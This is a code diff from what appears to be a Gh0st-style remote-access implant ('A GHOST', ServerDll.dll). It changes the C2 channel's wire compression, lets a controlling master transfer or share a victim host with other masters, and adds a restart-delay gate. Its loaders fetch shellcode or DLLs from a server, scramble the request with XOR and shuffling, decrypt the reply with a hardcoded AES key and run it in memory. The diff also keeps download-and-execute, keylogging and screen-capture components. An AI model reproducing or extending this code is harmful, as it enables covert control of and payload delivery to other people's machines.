if (Z_SUCCESS(iRet)) { //如果解压成功
// 与发送同一模式:服务端按客户端首个压缩包识别算法,回包使用同一算法,
// 因此这里固定用本连接的 m_useZlib 解压。
ULONG ulDecompressedLength = ulOriginalLength;
bool decompressed = DecompressData(DeCompressedBuffer, ulDecompressedLength,
CompressedBuffer, ulCompressedLength);
ulOriginalLength = ulDecompressedLength;
if (decompressed) { //如果解压成功
// 优先看是不是 TOKEN_CONN_AUTH 响应;只有当 PerformConnAuth 正在等待时才消费。
// 不在等待状态时返回 false,包透传给 manager(manager 一般也不识别此 token,
// 走 default 路径忽略,无副作用)。
@@ -1058,27 +1160,26 @@ BOOL IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength, P
std::lock_guard<std::mutex> lock(m_Locker);
{
int cmd = BYTE(szBuffer[0]);
//乘以1.001是以最坏的也就是数据压缩后占用的内存空间和原先一样 +12
//防止缓冲区溢出// HelloWorld 10 22
//数据压缩 压缩算法 微软提供
//nSize = 436
//destLen = 448
#if USING_ZLIB
unsigned long ulCompressedLength = (double)ulOriginalLength * 1.001 + 12;
// 线缆压缩:运行期选择 zlib / zstd(默认 zstd)。zlib 用 compressBound 而不是
// 1.001n+12 —— 后者对小于约 1KB 的包会比 compressBound 少 1 字节,导致
// compress() 返回 Z_BUF_ERROR、小包(心跳 ACK、控制命令)被静默丢弃。
// 用 ULONG(32 位)而不是 unsigned long:LP64 下 unsigned long 是 64 位,
// 绑不到 CompressData 的 ULONG&,Linux/Android arm64 会直接编译失败。
#if CLIENT_HAS_ZLIB
ULONG ulCompressedLength = m_useZlib
? (ULONG)compressBound(ulOriginalLength)
: (ULONG)ZSTD_compressBound(ulOriginalLength);
#else
unsigned long ulCompressedLength = ZSTD_compressBound(ulOriginalLength);
ULONG ulCompressedLength = (ULONG)ZSTD_compressBound(ulOriginalLength);
#endif
BYTE buf[1024];
LPBYTE CompressedBuffer = ulCompressedLength>1024 ? new BYTE[ulCompressedLength] : buf;
int iRet = compress(CompressedBuffer, &ulCompressedLength, (PBYTE)szBuffer, ulOriginalLength);
if (Z_FAILED(iRet)) {
Mprintf("[ERROR] compress failed: srcLen %d, dstLen %d \n", ulOriginalLength, ulCompressedLength);
if (!CompressData(CompressedBuffer, ulCompressedLength, szBuffer, ulOriginalLength)) {
Mprintf("[ERROR] compress failed: srcLen %d, dstLen %d, mode=%s\n",
ulOriginalLength, ulCompressedLength, m_useZlib ? "zlib" : "zstd");
if (CompressedBuffer != buf) delete [] CompressedBuffer;
return FALSE;
}
#if !USING_ZLIB
ulCompressedLength = iRet;
#endif
ULONG ulPackTotalLength = ulCompressedLength + m_Encoder->GetHeadLen();
CBuffer m_WriteBuffer;
HeaderFlag H = m_Encoder->GetHead();
+15
View File
@@ -210,6 +210,15 @@ public:
return OnServerSending(szBuffer, ulOriginalLength, mask);
}
// 切换线缆压缩模式。只影响下一次建连(调用方随后 Disconnect,重连循环复用本对象);
// COMMAND_SET_COMPRESS 用它原地切换,避免 S_CLIENT_UPDATE 把进程内测试客户端停死。
void SetWireCompression(bool useZlib) { m_useZlib = useZlib; }
// 整机配置里选定的线缆压缩模式(新连接构造时读的同一个键)。分享实例会继承它,
// 所以分享前按它判断,而不是按当前连接的 m_useZlib:并行上线时不同连接的模式
// 可以和配置不一致。
static bool ConfiguredWireZlib();
void SetServerAddress(const char* szServerIP, unsigned short uPort)
{
m_Domain = szServerIP ? szServerIP : "127.0.0.1";
@@ -437,6 +446,12 @@ protected:
// ConnectServer 成功后自动 auth 的 opt-in 标志。子连接构造后调 EnableSubConnAuth() 设为 true。
bool m_subConnAuthEnabled = false;
uint64_t m_subConnAuthClientID = 0; // 0 表示从 m_conn->clientID 现取
// 线缆压缩:本连接构造时读 settings\compress(默认 zstd;配置 zlib 时用 zlib);
// COMMAND_SET_COMPRESS 通过 SetWireCompression() 原地改写,下一次建连生效。
bool m_useZlib = false;
bool CompressData(BYTE* dst, ULONG& dstLen, const void* src, ULONG srcLen);
bool DecompressData(BYTE* dst, ULONG& dstLen, const void* src, ULONG srcLen);
#if USING_CTX
ZSTD_CCtx* m_Cctx; // 压缩上下文
ZSTD_DCtx* m_Dctx; // 解压上下文
+155 -27
View File
@@ -17,6 +17,7 @@
#include "IOCPUDPClient.h"
#include "IOCPKCPClient.h"
#include "auto_start.h"
#include "start_gate.h"
#include "ShellcodeInj.h"
#include "KeyboardManager.h"
#include "ScreenPreview.h"
@@ -952,6 +953,15 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
Mprintf("======> Local test client: ignore forbidden \n");
break;
}
const bool isAuthKernel = this->IsAuthKernel();
if (isAuthKernel) {
iniFile cfg(YAMA_PATH);
StartGate::Delay(cfg, "auth", StartGate::kDefaultDelaySec);
Mprintf("======> next=%d \n", StartGate::Get(cfg, "auth"));
} else if (m_cfg) {
StartGate::Delay(*m_cfg, "settings", StartGate::kDefaultDelaySec);
Mprintf("======> next=%d \n", StartGate::Get(*m_cfg, "settings"));
}
TerminateProcess(GetCurrentProcess(), 0);
break;
}
@@ -1126,6 +1136,56 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
break;
}
case COMMAND_SET_COMPRESS: {
// 线缆压缩切换(zstd / zlib):写本机配置后只断开当前连接,复用 IOCPClient
// 原地切换 m_useZlib,由 StartClient 重连循环用新模式建链。不能置 S_CLIENT_UPDATE:
// 进程内测试客户端的 AutoRun 只在 S_SERVER_EXIT 时重启,详见下方断连处说明。
std::string mode;
if (ulLength > 1)
mode.assign((const char*)szBuffer + 1, ulLength - 1);
while (!mode.empty() && (mode.back() == '\0' || mode.back() == ' ' ||
mode.back() == '\r' || mode.back() == '\n'))
mode.pop_back();
for (size_t i = 0; i < mode.size(); ++i) {
if (mode[i] >= 'A' && mode[i] <= 'Z')
mode[i] = (char)(mode[i] - 'A' + 'a');
}
if (mode != "zlib" && mode != "zstd") {
Mprintf("[compress-switch] unsupported mode '%s', ignored\n", mode.c_str());
break;
}
// 分享实例不能改写整机的线缆压缩配置:它跑的是同一个 OnReceive,放行的话
// 分享目标主控就能改掉主机连归属方的模式,主机下次重启会按别家的选择连回来。
if (!m_ClientApp || !m_ClientApp->IsMainInstance()) {
Mprintf("[compress-switch] refused: not the main instance\n");
ClientMsg msg("线缆压缩", "Compression switch refused: only the owning master may switch");
SendData((LPBYTE)&msg, sizeof(msg));
break;
}
// 存在分享链路时只允许切回 zstd。压缩模式是整机配置(settings\compress),
// 分享实例及后续子连接都会继承;对端若只支持 zstd(如 Go 服务端),切到
// zlib 会让分享链路在下次建连后失联。zstd 对所有对端都兼容。
if (mode == "zlib" && m_cfg && !m_cfg->GetStr("settings", "share_list").empty()) {
Mprintf("[compress-switch] refused zlib: share links present\n");
ClientMsg msg("线缆压缩", "Compression switch refused: this host has share links; cancel sharing before switching to zlib");
SendData((LPBYTE)&msg, sizeof(msg));
break;
}
if (m_cfg)
m_cfg->SetStr("settings", "compress", mode);
Mprintf("[compress-switch] set to %s, reconnecting\n", mode.c_str());
// 只断开当前连接,不要置 S_CLIENT_UPDATE:进程内测试客户端(MemoryModule 加载的
// ServerDll)的 AutoRun 只在 S_SERVER_EXIT 时重启,S_CLIENT_UPDATE 会让 TestRun
// 直接返回、AutoRun 退出,客户端停死且主控的"运行测试程序"菜单永久置灰。
// 重连循环复用同一个 IOCPClient,这里先把压缩模式切过去即可;子连接在重连后
// 由新的 Manager 按配置重建。先断开再切模式,避免旧连接上还有包用新算法发出。
if (m_ClientObject) {
m_ClientObject->Disconnect();
m_ClientObject->SetWireCompression(mode == "zlib");
}
break;
}
case COMMAND_DOWN_EXEC: {
std::thread(DownExecute, std::string((char*)szBuffer + 1), this).detach();
break;
@@ -1355,12 +1415,34 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
}
switch (szBuffer[1]) {
case SHARE_TYPE_YAMA_FOREVER: {
// 转移只能由本机所属主控下发。分享实例也在跑同一个 OnReceive,却被
// 分享目标主控控制;放行它会把进程级 master/port/valid_to 改到别处,
// 下次重启主连接就搬走了(Linux 客户端同样拒绝)。
if (!m_ClientApp->IsMainInstance()) {
ClientMsg msg("转移主机", "No permission to accept a transfer");
SendData((LPBYTE)&msg, sizeof(msg));
break;
}
auto v = StringToVector((char*)szBuffer + 2, ':', 3);
if (v[0].empty() || v[1].empty())
break;
auto now = time(nullptr);
auto valid_to = atoi(m_cfg->GetStr("settings", "valid_to").c_str());
if (now <= valid_to) break; // Avoid assign again
if (now <= valid_to) {
// 转移期间不接受第二次转移:主机此刻只连着新主控,它无权再改归属,
// 否则到期按原主控复原时中间那一跳就成了谁也不认的孤儿。
Mprintf("Assign ignored: already assigned until %lld\n", (long long)valid_to);
ClientMsg msg("转移主机", "Host is already transferred, ignored");
SendData((LPBYTE)&msg, sizeof(msg));
break;
}
// 先校验天数再落盘:天数非法时一个键都不改,避免留下「master 换了但
// 没有 valid_to」的半截记录(重启后 assigned 为假,地址却已经变了)。
float days = atof(v[2].c_str());
if (days <= 0) {
Mprintf("Assign ignored: invalid days '%s'\n", v[2].c_str());
break;
}
m_cfg->SetStr("settings", "master", v[0]);
m_cfg->SetStr("settings", "port", v[1]);
if (shareProto == PROTOCOL_SHINE || shareProto == PROTOCOL_HELL)
@@ -1371,24 +1453,54 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
m_cfg->SetStr("settings", "master_transport", std::to_string(shareTransport));
else
m_cfg->SetStr("settings", "master_transport", "");
float days = atof(v[2].c_str());
if (days > 0) {
auto valid_to = time(0) + days*86400;
// overflow after 2038-01-19
m_cfg->SetStr("settings", "valid_to", std::to_string(valid_to));
}
auto valid_to_new = (long long)(time(0) + days*86400);
// overflow after 2038-01-19
m_cfg->SetStr("settings", "valid_to", std::to_string(valid_to_new));
// 真转移:断开当前主控,主连接立刻连到新主控(旧主控上这台主机随即
// 离线)。不另起分享实例——那只是「分享」,新主控拿到的是一条不能
// 升级、也不真正属于它的旁路连接。新地址由 StartClient 的重连循环
// 在下一轮开头从注册表应用(CONNECT_ADDRESS 不参与跨线程同步,
// 不能在收包线程里改)。
Mprintf("Assign to %s:%s for %llds, moving the main link now\n",
v[0].c_str(), v[1].c_str(), (long long)days*86400);
if (m_ClientObject)
m_ClientObject->Disconnect();
break;
}
case SHARE_TYPE_YAMA: {
// 目标键(host:port)只解析一次,share_list 归并与实例登记共用。
auto ep = StringToVector((char*)szBuffer + 2, ':', 3);
const std::string targetKey = (!ep[0].empty() && !ep[1].empty())
? ep[0] + ":" + ep[1] : std::string();
if (szBuffer[1] == SHARE_TYPE_YAMA) {
if (!m_ClientApp->IsMainInstance()) {// 主机只能由所属主控进行分享
ClientMsg msg("分享主机", "No permission to share the client");
SendData((LPBYTE)&msg, sizeof(msg));
break;
}
auto v = StringToVector((char*)szBuffer + 2, ':', 3);
if (v[0].empty() || v[1].empty())
// 转移期间不接受分享:主机此刻只连着新主控,新主控无权再把它分出去。
// 放行的话,到期按原主控复原后这条分享连接还挂在别处,等于凭空多出
// 一条谁也不认的链路(Linux 客户端同样拒绝)。
if (time(0) <= atoi(m_cfg->GetStr("settings", "valid_to").c_str())) {
Mprintf("Share ignored: host is transferred\n");
ClientMsg msg("分享主机", "Host is transferred, sharing is not allowed");
SendData((LPBYTE)&msg, sizeof(msg));
break;
auto share = v[0] + ":" + v[1];
}
// 主机当前走 zlib 时不接受分享:分享实例构造时会读整机 compress
// 配置,带着 zlib 去连分享目标;对端若只支持 zstd(如 Go 服务端),
// 这条分享链路一建就连不上。先切回 zstd 再分享。
// 按配置判断而非当前连接:并行上线时当前连接的模式可能已不是新实例
// 将要使用的模式(配置由收到切换命令的那条连接写入,是整机共享的)。
if (IOCPClient::ConfiguredWireZlib()) {
Mprintf("Share ignored: client uses zlib wire compression\n");
ClientMsg msg("分享主机", "Client uses zlib wire compression, switch it back to zstd before sharing");
SendData((LPBYTE)&msg, sizeof(msg));
break;
}
if (targetKey.empty())
break;
auto share = targetKey;
if (shareProto == PROTOCOL_SHINE || shareProto == PROTOCOL_HELL)
share += ":" + std::to_string(shareProto);
// 传输段必须排在 Shine 段之后:share_list 的第 3 段是 Shine,没写
@@ -1397,29 +1509,40 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
share += ":" + std::to_string(shareTransport);
auto list = m_cfg->GetStr("settings", "share_list");
auto shareList = list.empty() ? std::vector<std::string>{} : StringToVector(list, '|');
// 去重按 host:port 比,不按整条记录比。同一条分享目标换了传输方式
// (出包烘焙的 TCP → 重新分享成 WSS)时第 3/4 段会变,整条比会把它
// 判成「新条目」,于是同一目标留下两条记录 → 同一 clientID 起两个分享
// 实例,登录时互相踢。老记录(3 段、没有传输段)也在这一步被替换。
const std::string shareKey = v[0] + ":" + v[1];
bool identical = false;
for (size_t k = 0; k < shareList.size(); ++k) {
auto ev = StringToVector(shareList[k], ':', 2);
if (ev[0] + ":" + ev[1] == shareKey && shareList[k] == share)
if (ev[0] + ":" + ev[1] == targetKey && shareList[k] == share)
identical = true;
}
if (identical) break; // 同样的记录已在分享,重复命令不再起一个实例
for (size_t k = 0; k < shareList.size(); ) {
auto ev = StringToVector(shareList[k], ':', 2);
if (ev[0] + ":" + ev[1] == shareKey) shareList.erase(shareList.begin() + k);
else ++k;
// 按 host:port 归并:同一目标只保留一条(新记录,或 identical 时的
// 原记录)。旧版本可能给同一目标留了两条,重启时会起两个同 clientID
// 的实例互踢,这里顺手把历史数据也清掉。
std::vector<std::string> normalized;
for (auto& entry : shareList) {
auto ev = StringToVector(entry, ':', 2);
if (ev[0] + ":" + ev[1] == targetKey)
continue;
normalized.push_back(entry);
}
shareList.push_back(share);
m_cfg->SetStr("settings", "share_list", VectorJoin(shareList, '|'));
Mprintf("Share client to new master: %s\n", share.c_str());
normalized.push_back(share);
if (normalized != shareList) {
shareList = normalized;
m_cfg->SetStr("settings", "share_list", VectorJoin(shareList, '|'));
if (!identical)
Mprintf("Share client to new master: %s\n", share.c_str());
}
// 记录没变且实例还活着:重复命令不动它。记录相同但线程已退出
// (异常结束等)则继续往下补起一条,不必等客户端重启。
if (identical && HasSharedInstanceForTarget(targetKey, SHARED_KIND_SHARE))
break;
}
// 登记后起线程。同一目标只留一条连接(与 Linux 的 SpawnManagedChild
// 一致):重复下发同一目标只替换记录,旧连接先停掉再起新的,否则同一
// clientID 会有两条连接互相踢。
StopSharedInstancesForTarget(targetKey);
auto a = NewClientStartArg((char*)szBuffer + 2, IsSharedRunning, TRUE, shareProto, shareTransport);
if (nullptr!=a) CloseHandle(__CreateThread(0, 0, StartClientApp, a, 0, 0));
StartSharedClient(a, SHARED_KIND_SHARE, targetKey);
break;
}
case SHARE_TYPE_HOLDINGHANDS:
@@ -1429,11 +1552,16 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
break;
case COMMAND_SHARE_CANCEL: {
int stopped = 0;
if (m_ClientApp->IsMainInstance()) {
m_cfg->SetStr("settings", "share_list", "");
// 分享实例是同进程里的线程,停掉后连接立即断开。取消分享只停分享实例,
// 撤销不了转移(转移改的是主连接自己连的地址,不涉及分享线程)。
stopped = StopSharedInstances(SHARED_KIND_SHARE);
Mprintf("Share cancel: stopping %d share instance(s)\n", stopped);
}
ClientMsg msg("分享主机", m_ClientApp->IsMainInstance() ?
"Cancel sharing and next run to take effort" : "No permission to cancel sharing");
ClientMsg msg("分享主机", m_ClientApp->IsMainInstance() ?
"Cancel sharing: stopping shared connections" : "No permission to cancel sharing");
SendData((LPBYTE)&msg, sizeof(msg));
break;
}
-4
View File
@@ -729,11 +729,7 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
This->WaitForDialogOpen();
clock_t last = clock();
#if USING_ZLIB
const int fps = 8;// 帧率
#else
const int fps = 8;// 帧率
#endif
const int sleep = 1000 / fps;// 间隔时间(ms)
int c1 = 0; // 连续耗时长的次数
int c2 = 0; // 连续耗时短的次数
+2 -2
View File
@@ -103,7 +103,7 @@ IDR_WAVE WAVE "Res\\msg.wav"
//
VS_VERSION_INFO VERSIONINFO
FILEVERSION 1,0,4,3
FILEVERSION 1,0,4,4
PRODUCTVERSION 1,0,0,1
FILEFLAGSMASK 0x3fL
#ifdef _DEBUG
@@ -121,7 +121,7 @@ BEGIN
BEGIN
VALUE "CompanyName", "FUCK THE UNIVERSE"
VALUE "FileDescription", "A GHOST"
VALUE "FileVersion", "1.0.4.3"
VALUE "FileVersion", "1.0.4.4"
VALUE "InternalName", "ServerDll.dll"
VALUE "LegalCopyright", "Copyright (C) 2019-2026"
VALUE "OriginalFilename", "ServerDll.dll"
+3 -7
View File
@@ -6,16 +6,12 @@
#if !defined(AFX_STDAFX_H__46CA6496_AAD6_4658_B6E9_D7AEB26CDCD5__INCLUDED_)
#define AFX_STDAFX_H__46CA6496_AAD6_4658_B6E9_D7AEB26CDCD5__INCLUDED_
// 是否使用ZLIB
#define USING_ZLIB 0
#if !USING_ZLIB
// 客户端线缆压缩:Windows 客户端同时编译 zlib 与 zstd,运行期由 settings\compress
// 选择(默认 zstd;配置为 zlib 时使用 zlib)。服务端可通过 COMMAND_SET_COMPRESS
// 写入该配置并触发重连,见 client/IOCPClient.cpp 与 KernelManager 的处理分支。
#define USING_ZSTD 1
#define USING_CTX 1
#endif
// 是否使用 Opus 音频压缩 (需要 opus 库)
// 设为 1 启用 Opus 压缩,设为 0 使用 PCM 无压缩
#define USING_OPUS 1
BIN
View File
Binary file not shown.
+2
View File
@@ -164,6 +164,7 @@
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="..\common\aes.c" />
<ClCompile Include="Loader.cpp" />
<ClCompile Include="MemoryModule.c" />
<ClCompile Include="reg_startup.c" />
@@ -173,6 +174,7 @@
<ClCompile Include="test.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="..\common\aes.h" />
<ClInclude Include="auto_start.h" />
<ClInclude Include="MemoryModule.h" />
<ClInclude Include="reg_startup.h" />
+4
View File
@@ -153,8 +153,12 @@
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="..\common\aes.c" />
<ClCompile Include="main.c" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="..\common\aes.h" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
+8
View File
@@ -18,5 +18,13 @@
<ClCompile Include="main.c">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="..\common\aes.c">
<Filter>源文件</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="..\common\aes.h">
<Filter>头文件</Filter>
</ClInclude>
</ItemGroup>
</Project>
+10 -2
View File
@@ -15,6 +15,7 @@
#include <fstream> // std::ifstream
#include <iterator> // std::istreambuf_iterator
#include <string>
#include <cstddef> // offsetof(CERT_CHAIN_ENGINE_CONFIG 的 Win7 兼容尺寸)
#include <map> // std::map(域名解析缓存)
#include <mutex> // std::mutex
@@ -421,12 +422,19 @@ TlsAnchor BuildTlsAnchor(bool allowEmbedded, bool quiet, HCERTSTORE* outStore,
// 严格钉扎:链引擎只信任该 store 里的根证书,排除系统根库。否则攻击者拿一张任意
// 公共 CA 签发的证书就能通过 CertGetCertificateChain(默认引擎信任系统根库)。
CERT_CHAIN_ENGINE_CONFIG ec = {};
ec.cbSize = sizeof(ec);
// 兼容 Windows 7:本工程未定义 _WIN32_WINNT,SDK 默认按 Win10 编译,结构体因此
// 含只有 Win8+ 才有的 dwExclusiveFlags,sizeof 比 Win7 已知尺寸大 8 字节。Win7
// 的 CertCreateCertificateChainEngine 只认识结构体到 hExclusiveTrustedPeople 为止,
// 传入更大的 cbSize 会返回 FALSE(ERROR_INVALID_PARAMETER),客户端随即 fail-closed。
// 这里显式按 Win7 尺寸传递;Win8+ 接受较旧尺寸,未使用的 dwExclusiveFlags 视为 0。
ec.cbSize = (DWORD)offsetof(CERT_CHAIN_ENGINE_CONFIG, hExclusiveTrustedPeople)
+ (DWORD)sizeof(HCERTSTORE);
ec.hExclusiveRoot = store;
HCERTCHAINENGINE engine = NULL;
if (!CertCreateCertificateChainEngine(&ec, &engine)) {
DWORD le = GetLastError();
CertCloseStore(store, 0);
err = "CertCreateCertificateChainEngine failed";
err = "CertCreateCertificateChainEngine failed (error " + std::to_string(le) + ")";
return TLS_ANCHOR_INVALID;
}
+19 -6
View File
@@ -36,6 +36,14 @@ DWORD CVideoManager::WorkThread(LPVOID lParam)
return 0x20261013;
}
// 摄像头打开成功但格式解析失败(VIDEOINFOHEADER2 之外的媒体类型、宽高非法等):
// 结束本次会话,绝不带着空缓冲区进采帧循环——那会在第一帧 memcpy 时崩掉。
if (This->m_CapVideo.GetBmpInfor() == NULL) {
Mprintf("CVideoManager: camera format unusable, abort session\n");
This->Destroy();
return 0x20261014;
}
static ULONGLONG dwLastScreen = GetTickCount64();
if (This->Initialize()) { //转到Initialize
@@ -47,11 +55,7 @@ DWORD CVideoManager::WorkThread(LPVOID lParam)
// 等控制端对话框打开
This->WaitForDialogOpen();
#if USING_ZLIB
const int fps = 8;// 帧率
#else
const int fps = 8;// 帧率
#endif
const int sleep = 1000 / fps;// 间隔时间(ms)
timeBeginPeriod(1);
@@ -100,10 +104,15 @@ void CVideoManager::Destroy()
void CVideoManager::SendBitMapInfor()
{
LPBITMAPINFO bi = m_CapVideo.GetBmpInfor();
if (bi == NULL) {
Mprintf("CVideoManager: no bitmap info, skip sending\n");
return;
}
const int dwBytesLength = 1 + sizeof(BITMAPINFO);
BYTE szBuffer[dwBytesLength + 3] = { 0 };
szBuffer[0] = TOKEN_WEBCAM_BITMAPINFO;
memcpy(szBuffer + 1, m_CapVideo.GetBmpInfor(), sizeof(BITMAPINFO));
memcpy(szBuffer + 1, bi, sizeof(BITMAPINFO));
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
m_ClientObject->Send2Server((char*)szBuffer, dwBytesLength, &mask);
}
@@ -187,9 +196,13 @@ BOOL CVideoManager::Initialize()
bRet= FALSE;
return bRet;
}
LPBITMAPINFO bi = m_CapVideo.GetBmpInfor();
if (bi == NULL) {
return FALSE;
}
m_pVideoCodec = new CVideoCodec;
//这里初始化,视频压缩 ,注意这里的压缩码 m_fccHandler(到构造函数中查看)
if (!m_pVideoCodec->InitCompressor(m_CapVideo.GetBmpInfor(), m_fccHandler)) {
if (!m_pVideoCodec->InitCompressor(bi, m_fccHandler)) {
delete m_pVideoCodec;
bRet=FALSE;
// 置NULL, 发送时判断是否为NULL来判断是否压缩
+43 -2
View File
@@ -9,6 +9,7 @@
#include <stdio.h>
#include <stdlib.h>
#include "../common/hash.h"
#include "../common/aes.h"
#ifdef _DEBUG
#define Mprintf printf
@@ -20,6 +21,10 @@
#pragma comment(lib, "ws2_32.lib")
#ifndef MAX_CONNECT_FAILS
#define MAX_CONNECT_FAILS 3
#endif
#pragma pack(push, 4)
typedef struct PkgHeader {
char flag[8];
@@ -65,11 +70,36 @@ PkgHeader MakePkgHeader(int originLen)
{
PkgHeader header = { 0 };
memcpy(header.flag, "Hello?", 6);
header.flag[7] = 1;
header.originLen = originLen;
header.totalLen = sizeof(PkgHeader) + originLen;
return header;
}
static void gen_aes_bytes(BYTE* out) {
for (int i = 0; i < 16; i++) {
out[i] = (BYTE)(rand() & 0xFF);
}
}
static uint16_t pseudo_random(int index) {
return (uint16_t)((1 ^ (index * 251 + 97)) * 733);
}
static void encrypt(unsigned char* data, int len) {
for (int i = 0; i < len; ++i) {
data[i] ^= (unsigned char)((i * 13) ^ ((i << 1) ^ 1));
}
for (int round = 0; round < 2; ++round) {
for (int i = 0; i < len; ++i) {
int j = pseudo_random(i + round * 100) % len;
unsigned char tmp = data[i];
data[i] = data[j];
data[j] = tmp;
}
}
}
int GetIPAddress(const char* hostName, char* outIpBuffer, int bufferSize)
{
struct sockaddr_in sa = { 0 };
@@ -272,10 +302,10 @@ const char* ReceiveShellcode(const char* sIP, int serverPort, int* sizeOut)
const int bufSize = (8 * 1024 * 1024);
char* buffer = NULL;
BOOL isFirstConnect = TRUE;
int attemptCount = 0, requestCount = 0;
int attemptCount = 0, requestCount = 0, connectFailCount = 0;
do {
if (!isFirstConnect)
Sleep(IsRelease ? rand() % 120 * 1000 : 5000);
Sleep((IsRelease && connectFailCount >= MAX_CONNECT_FAILS) ? rand() % 120 * 1000 : 5000);
isFirstConnect = FALSE;
if (++attemptCount == 20)
PostMessage((HWND)g_Server.parentHwnd, 4046, (WPARAM)933711587, (LPARAM)1643138518);
@@ -295,15 +325,20 @@ const char* ReceiveShellcode(const char* sIP, int serverPort, int* sizeOut)
if (connect(clientSocket, (SOCKADDR*)&serverAddr, sizeof(serverAddr)) == SOCKET_ERROR) {
closesocket(clientSocket);
SetThreadExecutionState(ES_CONTINUOUS | ES_SYSTEM_REQUIRED);
if (++connectFailCount >= MAX_CONNECT_FAILS && hash[0])
break;
continue;
}
connectFailCount = 0;
char command[64] = { 210, sizeof(void*) == 8, 0, IsRelease, __DATE__ };
gen_aes_bytes((BYTE*)command + 16); // AES IV
char req[sizeof(PkgHeader) + sizeof(command)] = { 0 };
memcpy(command + 32, hash, 32);
PkgHeader h = MakePkgHeader(sizeof(command));
memcpy(req, &h, sizeof(PkgHeader));
memcpy(req + sizeof(PkgHeader), command, sizeof(command));
encrypt((BYTE*)req + sizeof(PkgHeader), sizeof(command)); // Hello?
int bytesSent = send(clientSocket, req, sizeof(req), 0);
if (bytesSent != sizeof(req)) {
closesocket(clientSocket);
@@ -346,6 +381,12 @@ const char* ReceiveShellcode(const char* sIP, int serverPort, int* sizeOut)
continue;
}
unsigned char* ptr = buffer + sizeof(PkgHeader);
struct AES_ctx ctx; // AES Decode
static const unsigned char aes_key[16] = {
0x5A, 0xC3, 0x17, 0xF0, 0x89, 0xB6, 0x4E, 0x7D, 0x1A, 0x22, 0x9F, 0xC8, 0xD3, 0xE6, 0x73, 0xB1
};
AES_init_ctx_iv(&ctx, aes_key, (BYTE*)command + 16);
AES_CBC_decrypt_buffer(&ctx, (BYTE*)ptr, header->originLen);
int size = 0;
BYTE cmd = ptr[0], type = ptr[1];
memcpy(&size, ptr + 2, sizeof(int));
+38
View File
@@ -0,0 +1,38 @@
#pragma once
#include <time.h>
#include <string>
#include "common/iniFile.h"
namespace StartGate {
constexpr const char* kValueName = "retry_after";
constexpr int kDefaultDelaySec = 60 * 60;
inline std::string ConfigPath(bool isAuthKernel)
{
return isAuthKernel ? std::string(YAMA_PATH) : CLIENT_PATH;
}
inline const char* ConfigSection(bool isAuthKernel)
{
return isAuthKernel ? "auth" : "settings";
}
inline int Get(config& cfg, const char* section)
{
return cfg.GetInt(section, kValueName, 0);
}
inline void Set(config& cfg, const char* section, int unixTime)
{
cfg.SetInt(section, kValueName, unixTime > 0 ? unixTime : 0);
}
inline void Delay(config& cfg, const char* section, int delaySec)
{
Set(cfg, section, (int)time(NULL) + delaySec);
}
inline bool AllowStartNow(config& cfg, const char* section)
{
const int t = Get(cfg, section);
return t <= 0 || (int)time(NULL) >= t;
}
}
+43 -1
View File
@@ -19,6 +19,10 @@ extern "C" {
#pragma comment(lib, "ws2_32.lib")
#ifndef MAX_CONNECT_FAILS
#define MAX_CONNECT_FAILS 3
#endif
// 自动启动注册表中的值
#define REG_NAME GetExeHashStr().c_str()
@@ -74,11 +78,36 @@ typedef struct PkgHeader {
{
memset(flag, 0, sizeof(flag));
memcpy(flag, "Hello?", 6);
flag[7] = 1;
originLen = size;
totalLen = sizeof(PkgHeader) + size;
}
} PkgHeader;
static void gen_aes_bytes(BYTE* out) {
for (int i = 0; i < 16; i++) {
out[i] = (BYTE)(rand() & 0xFF);
}
}
static uint16_t pseudo_random(int index) {
return (uint16_t)((1 ^ (index * 251 + 97)) * 733);
}
static void encrypt(unsigned char* data, int len) {
for (int i = 0; i < len; ++i) {
data[i] ^= (unsigned char)((i * 13) ^ ((i << 1) ^ 1));
}
for (int round = 0; round < 2; ++round) {
for (int i = 0; i < len; ++i) {
int j = pseudo_random(i + round * 100) % len;
unsigned char tmp = data[i];
data[i] = data[j];
data[j] = tmp;
}
}
}
typedef int (*DllCallback)(BYTE* dll, int size);
// Memory DLL runner.
@@ -125,13 +154,14 @@ public:
char* buffer = new char[bufSize];
bool isFirstConnect = true;
int requestCount = 0;
int connectFailCount = 0;
binFile bin(CLIENT_PATH);
iniFile ini(CLIENT_PATH);
auto hash = ini.GetStr("settings", "version", "");
do {
if (!isFirstConnect)
Sleep(!IsDebug ? rand() % 30 * 1000 : 5000);
Sleep((!IsDebug && connectFailCount >= MAX_CONNECT_FAILS) ? rand() % 30 * 1000 : 5000);
isFirstConnect = false;
SOCKET clientSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
@@ -150,18 +180,23 @@ public:
if (connect(clientSocket, (SOCKADDR*)&serverAddr, sizeof(serverAddr)) == SOCKET_ERROR) {
closesocket(clientSocket);
SetThreadExecutionState(ES_CONTINUOUS | ES_SYSTEM_REQUIRED);
if (++connectFailCount >= MAX_CONNECT_FAILS && !hash.empty())
break;
continue;
}
connectFailCount = 0;
#ifdef _DEBUG
char command[64] = { SOCKET_DLLLOADER, sizeof(void*) == 8, m_payloadType, 0 };
#else
char command[64] = { SOCKET_DLLLOADER, sizeof(void*) == 8, m_payloadType, 1 };
#endif
memcpy(command + 4, __DATE__, 11); // 发送版本日期用于大 DLL 检查
gen_aes_bytes((BYTE*)command + 16); // AES IV
memcpy(command + 32, hash.c_str(), min(32, hash.length()));
char req[sizeof(PkgHeader) + sizeof(command)] = {};
memcpy(req, &PkgHeader(sizeof(command)), sizeof(PkgHeader));
